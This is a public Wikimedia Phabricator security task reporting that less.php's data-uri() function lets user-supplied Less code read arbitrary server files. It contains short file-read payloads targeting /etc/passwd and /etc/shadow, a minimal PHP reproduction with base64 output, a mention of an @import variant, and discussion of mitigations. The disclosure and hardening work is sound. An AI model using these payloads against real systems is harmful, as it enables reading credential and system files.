Page MenuHomePhabricator

less.php can read arbitary files on disk
Closed, ResolvedPublicSecurity

Description

From Emil Virkki to security@

Hi,

Wikimedia maintains a popular fork of the less.php library here: https://github.com/wikimedia/less.php

I recently worked with a system that uses this library with user-supplied input. This generally doesn't cause security issues, except for the data-uri() function which allows reading arbitrary files. So for example, you could write Less code like:

.foobar { background: data-uri('/etc/passwd'); }

and this would result in the contents of the file being included in the output base64-encoded. Solving this issue would require adding a configuration setting for restricting which files can be accessed.

As this isn't an issue for most use cases of Less.php, I understand if you feel it shouldn't be handled as a security issue but rather a feature request. Just to check - do you want to take this forward or shall I just add an issue in the GitHub repository mentioned above? :)

Details

Risk Rating
Low
Author Affiliation
WMF Technology

Event Timeline

Reedy renamed this task from less.php issue to less.php can read arbitary files on disk.Apr 21 2021, 8:50 PM
Reedy updated the task description. (Show Details)

Minimal replication criteria

composer.json
{
    "require": {
        "wikimedia/less.php": "*"
    }
}
test.php
<?php

require __DIR__ . '/vendor/autoload.php';

$parser = new Less_Parser();
$parser->parse( ".foobar { background: data-uri('/etc/shadow'); }" );
var_dump( $parser->getCss() );

And then running it

string(1884) ".foobar {
  background: url("data:;base64,cm9vdDokNiRoUkhNZlovciR3czNMNlJjbmJnUnVuWm0wZEpLWTExbkVOY2c4dHk4NnZqa29qc2tuakJrYmQ3RkYuamxQZWNPOW91S3ZWZkJxM1RiVFU2M2RoTmdkUDBtMTZ1L0NiMToxNTI0MzowOjk5OTk5Ojc6OjoKZGFlbW9uOio6MTUxNzc6MDo5OTk5OTo3Ojo6CmJpbjoqOjE1MTc3OjA6OTk5OTk6Nzo6OgpzeXM6KjoxNTE3NzowOjk5OTk5Ojc6OjoKc3luYzoqOjE1MTc3OjA6OTk5OTk6Nzo6OgpnYW1lczoqOjE1MTc3OjA6OTk5OTk6Nzo6OgptYW46KjoxNTE3NzowOjk5OTk5Ojc6OjoKbHA6KjoxNTE3NzowOjk5OTk5Ojc6OjoKbWFpbDoqOjE1MTc3OjA6OTk5OTk6Nzo6OgpuZXdzOio6MTUxNzc6MDo5OTk5OTo3Oj"...

This is technically "working as expected". In MediaWiki, we don't allow arbitary less user input, so are mostly protected from this (beyond something getting through CR).

This was flagged (or very similar issue) back in 2013; T56864: ResourceLoader: Implement support for LESS in wiki modules (user and site), supporting e.g. MediaWiki:Common.less.

Ori mentioned on IRC that there may be some security issues that need to be addressed like @import "/etc/passwd";

It seems reasonable, as a minimum to probably document this is the case clearly in the README.

PR probably welcome to disable this sort of functionality in config or similar.

As discussed over slack, some potential code-hardening might entail a config opt in Parser.php that early returns somewhere here if we violate a configurable deny list or try to hop outside the cwd. Something similar in RL (really the only other place where Wikimedia code is implicated right now) could also work, but likely makes less sense there.

Krinkle triaged this task as Medium priority.Apr 26 2021, 7:01 PM
Krinkle moved this task from Inbox to Accepted Enhancement on the MediaWiki-ResourceLoader board.

Assigned to me for adding a brief note to the README that it does not support being used with unsafe or otherwise user-generated content.

sbassett changed Author Affiliation from N/A to WMF Technology.Feb 18 2026, 4:10 PM
sbassett removed a project: Performance-Team.
sbassett changed the visibility from "Custom Policy" to "Public (No Login Required)".
sbassett changed the edit policy from "Custom Policy" to "All Users".
sbassett changed Risk Rating from N/A to Low.